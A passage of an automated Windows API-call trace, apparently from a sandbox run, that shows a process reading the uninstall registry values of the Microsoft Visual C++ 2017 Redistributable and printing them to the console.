_File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.171] lstrlenW (lpString="DisplayIcon") returned 11 [0151.171] __iob_func () returned 0x7fefd702a80 [0151.171] _fileno (_File=0x7fefd702ab0) returned 1 [0151.171] _errno () returned 0x204bb0 [0151.171] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.171] _errno () returned 0x204bb0 [0151.171] GetFileType (hFile=0x50) returned 0x1 [0151.171] lstrlenW (lpString="DisplayIcon") returned 11 [0151.171] GetConsoleOutputCP () returned 0x1b5 [0151.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0151.171] GetConsoleOutputCP () returned 0x1b5 [0151.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0151.171] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0151.171] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.171] __iob_func () returned 0x7fefd702a80 [0151.171] _fileno (_File=0x7fefd702ab0) returned 1 [0151.171] _errno () returned 0x204bb0 [0151.171] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.171] _errno () returned 0x204bb0 [0151.171] GetFileType (hFile=0x50) returned 0x1 [0151.171] lstrlenW (lpString=" ") returned 4 [0151.171] GetConsoleOutputCP () returned 0x1b5 [0151.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.172] GetConsoleOutputCP () returned 0x1b5 [0151.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.172] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.172] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.172] __iob_func () returned 0x7fefd702a80 [0151.172] _fileno (_File=0x7fefd702ab0) returned 1 [0151.172] _errno () returned 0x204bb0 [0151.172] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.172] _errno () returned 0x204bb0 [0151.172] GetFileType (hFile=0x50) returned 0x1 [0151.172] lstrlenW (lpString="REG_SZ") returned 6 [0151.172] GetConsoleOutputCP () returned 0x1b5 [0151.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.172] GetConsoleOutputCP () returned 0x1b5 [0151.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.172] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.172] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.172] __iob_func () returned 0x7fefd702a80 [0151.172] _fileno (_File=0x7fefd702ab0) returned 1 [0151.172] _errno () returned 0x204bb0 [0151.172] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.172] _errno () returned 0x204bb0 [0151.172] GetFileType (hFile=0x50) returned 0x1 [0151.172] lstrlenW (lpString=" ") returned 4 [0151.173] GetConsoleOutputCP () returned 0x1b5 [0151.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.173] GetConsoleOutputCP () returned 0x1b5 [0151.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.173] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.173] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.173] __iob_func () returned 0x7fefd702a80 [0151.173] _fileno (_File=0x7fefd702ab0) returned 1 [0151.173] _errno () returned 0x204bb0 [0151.173] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.173] _errno () returned 0x204bb0 [0151.173] GetFileType (hFile=0x50) returned 0x1 [0151.173] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe,0") returned 87 [0151.173] GetConsoleOutputCP () returned 0x1b5 [0151.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe,0", cchWideChar=87, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 87 [0151.173] GetConsoleOutputCP () returned 0x1b5 [0151.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe,0", cchWideChar=87, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe,0", lpUsedDefaultChar=0x0) returned 87 [0151.173] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 87 [0151.173] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.173] __iob_func () returned 0x7fefd702a80 [0151.173] _fileno (_File=0x7fefd702ab0) returned 1 [0151.173] _errno () returned 0x204bb0 [0151.174] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.174] _errno () returned 0x204bb0 [0151.174] GetFileType (hFile=0x50) returned 0x1 [0151.174] lstrlenW (lpString="\n") returned 1 [0151.174] GetConsoleOutputCP () returned 0x1b5 [0151.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.174] GetConsoleOutputCP () returned 0x1b5 [0151.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.174] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.174] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.174] GetProcessHeap () returned 0x3c0000 [0151.174] GetProcessHeap () returned 0x3c0000 [0151.174] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.174] GetProcessHeap () returned 0x3c0000 [0151.174] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb4 [0151.174] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.174] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.174] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7e) returned 0x0 [0151.174] GetProcessHeap () returned 0x3c0000 [0151.174] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x80) returned 0x3db830 [0151.174] GetProcessHeap () returned 0x3c0000 [0151.174] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.174] GetProcessHeap () returned 0x3c0000 [0151.174] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0151.174] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", pcbData=0x29f780*=0x7c) returned 0x0 [0151.174] __iob_func () returned 0x7fefd702a80 [0151.174] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.175] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.175] _fileno (_File=0x7fefd702ab0) returned 1 [0151.175] _errno () returned 0x204bb0 [0151.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.175] _errno () returned 0x204bb0 [0151.175] GetFileType (hFile=0x50) returned 0x1 [0151.175] lstrlenW (lpString=" ") returned 4 [0151.175] GetConsoleOutputCP () returned 0x1b5 [0151.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.175] GetConsoleOutputCP () returned 0x1b5 [0151.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.175] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.175] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.175] lstrlenW (lpString="DisplayName") returned 11 [0151.175] __iob_func () returned 0x7fefd702a80 [0151.175] _fileno (_File=0x7fefd702ab0) returned 1 [0151.175] _errno () returned 0x204bb0 [0151.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.175] _errno () returned 0x204bb0 [0151.175] GetFileType (hFile=0x50) returned 0x1 [0151.175] lstrlenW (lpString="DisplayName") returned 11 [0151.175] GetConsoleOutputCP () returned 0x1b5 [0151.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0151.175] GetConsoleOutputCP () returned 0x1b5 [0151.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0151.176] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0151.176] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.176] __iob_func () returned 0x7fefd702a80 [0151.176] _fileno (_File=0x7fefd702ab0) returned 1 [0151.176] _errno () returned 0x204bb0 [0151.176] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.176] _errno () returned 0x204bb0 [0151.176] GetFileType (hFile=0x50) returned 0x1 [0151.176] lstrlenW (lpString=" ") returned 4 [0151.176] GetConsoleOutputCP () returned 0x1b5 [0151.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.176] GetConsoleOutputCP () returned 0x1b5 [0151.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.176] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.176] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.176] __iob_func () returned 0x7fefd702a80 [0151.176] _fileno (_File=0x7fefd702ab0) returned 1 [0151.176] _errno () returned 0x204bb0 [0151.176] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.176] _errno () returned 0x204bb0 [0151.176] GetFileType (hFile=0x50) returned 0x1 [0151.176] lstrlenW (lpString="REG_SZ") returned 6 [0151.176] GetConsoleOutputCP () returned 0x1b5 [0151.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.177] GetConsoleOutputCP () returned 0x1b5 [0151.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.177] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.177] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.177] __iob_func () returned 0x7fefd702a80 [0151.177] _fileno (_File=0x7fefd702ab0) returned 1 [0151.177] _errno () returned 0x204bb0 [0151.177] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.177] _errno () returned 0x204bb0 [0151.177] GetFileType (hFile=0x50) returned 0x1 [0151.177] lstrlenW (lpString=" ") returned 4 [0151.177] GetConsoleOutputCP () returned 0x1b5 [0151.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.177] GetConsoleOutputCP () returned 0x1b5 [0151.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.177] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.177] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.177] __iob_func () returned 0x7fefd702a80 [0151.177] _fileno (_File=0x7fefd702ab0) returned 1 [0151.177] _errno () returned 0x204bb0 [0151.177] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.177] _errno () returned 0x204bb0 [0151.177] GetFileType (hFile=0x50) returned 0x1 [0151.177] lstrlenW (lpString="Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017") returned 61 [0151.178] GetConsoleOutputCP () returned 0x1b5 [0151.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0151.178] GetConsoleOutputCP () returned 0x1b5 [0151.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", cchWideChar=61, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpUsedDefaultChar=0x0) returned 61 [0151.178] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 61 [0151.178] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.178] __iob_func () returned 0x7fefd702a80 [0151.178] _fileno (_File=0x7fefd702ab0) returned 1 [0151.178] _errno () returned 0x204bb0 [0151.178] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.178] _errno () returned 0x204bb0 [0151.178] GetFileType (hFile=0x50) returned 0x1 [0151.178] lstrlenW (lpString="\n") returned 1 [0151.178] GetConsoleOutputCP () returned 0x1b5 [0151.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.178] GetConsoleOutputCP () returned 0x1b5 [0151.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.178] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.178] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.178] GetProcessHeap () returned 0x3c0000 [0151.178] GetProcessHeap () returned 0x3c0000 [0151.179] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.179] GetProcessHeap () returned 0x3c0000 [0151.179] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x80 [0151.179] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0151.179] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.179] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1e) returned 0x0 [0151.179] GetProcessHeap () returned 0x3c0000 [0151.179] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c30 [0151.179] GetProcessHeap () returned 0x3c0000 [0151.179] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.179] GetProcessHeap () returned 0x3c0000 [0151.179] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0151.179] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1e | out: pdwType=0x29f700*=0x1, pvData="14.10.25017.0", pcbData=0x29f780*=0x1c) returned 0x0 [0151.179] __iob_func () returned 0x7fefd702a80 [0151.179] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.179] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.179] _fileno (_File=0x7fefd702ab0) returned 1 [0151.179] _errno () returned 0x204bb0 [0151.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.179] _errno () returned 0x204bb0 [0151.179] GetFileType (hFile=0x50) returned 0x1 [0151.179] lstrlenW (lpString=" ") returned 4 [0151.179] GetConsoleOutputCP () returned 0x1b5 [0151.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.179] GetConsoleOutputCP () returned 0x1b5 [0151.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.179] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.180] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.180] lstrlenW (lpString="DisplayVersion") returned 14 [0151.180] __iob_func () returned 0x7fefd702a80 [0151.180] _fileno (_File=0x7fefd702ab0) returned 1 [0151.180] _errno () returned 0x204bb0 [0151.180] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.180] _errno () returned 0x204bb0 [0151.180] GetFileType (hFile=0x50) returned 0x1 [0151.180] lstrlenW (lpString="DisplayVersion") returned 14 [0151.180] GetConsoleOutputCP () returned 0x1b5 [0151.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0151.180] GetConsoleOutputCP () returned 0x1b5 [0151.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0151.180] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0151.180] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.180] __iob_func () returned 0x7fefd702a80 [0151.180] _fileno (_File=0x7fefd702ab0) returned 1 [0151.180] _errno () returned 0x204bb0 [0151.180] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.180] _errno () returned 0x204bb0 [0151.180] GetFileType (hFile=0x50) returned 0x1 [0151.180] lstrlenW (lpString=" ") returned 4 [0151.180] GetConsoleOutputCP () returned 0x1b5 [0151.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.180] GetConsoleOutputCP () returned 0x1b5 [0151.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.181] __iob_func () returned 0x7fefd702a80 [0151.181] _fileno (_File=0x7fefd702ab0) returned 1 [0151.181] _errno () returned 0x204bb0 [0151.181] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.181] _errno () returned 0x204bb0 [0151.181] GetFileType (hFile=0x50) returned 0x1 [0151.181] lstrlenW (lpString="REG_SZ") returned 6 [0151.181] GetConsoleOutputCP () returned 0x1b5 [0151.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.181] GetConsoleOutputCP () returned 0x1b5 [0151.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.181] __iob_func () returned 0x7fefd702a80 [0151.181] _fileno (_File=0x7fefd702ab0) returned 1 [0151.181] _errno () returned 0x204bb0 [0151.181] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.181] _errno () returned 0x204bb0 [0151.181] GetFileType (hFile=0x50) returned 0x1 [0151.181] lstrlenW (lpString=" ") returned 4 [0151.181] GetConsoleOutputCP () returned 0x1b5 [0151.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.182] GetConsoleOutputCP () returned 0x1b5 [0151.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.182] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.182] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.182] __iob_func () returned 0x7fefd702a80 [0151.182] _fileno (_File=0x7fefd702ab0) returned 1 [0151.182] _errno () returned 0x204bb0 [0151.182] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.182] _errno () returned 0x204bb0 [0151.182] GetFileType (hFile=0x50) returned 0x1 [0151.182] lstrlenW (lpString="14.10.25017.0") returned 13 [0151.182] GetConsoleOutputCP () returned 0x1b5 [0151.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017.0", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.182] GetConsoleOutputCP () returned 0x1b5 [0151.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017.0", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.10.25017.0", lpUsedDefaultChar=0x0) returned 13 [0151.182] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.182] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 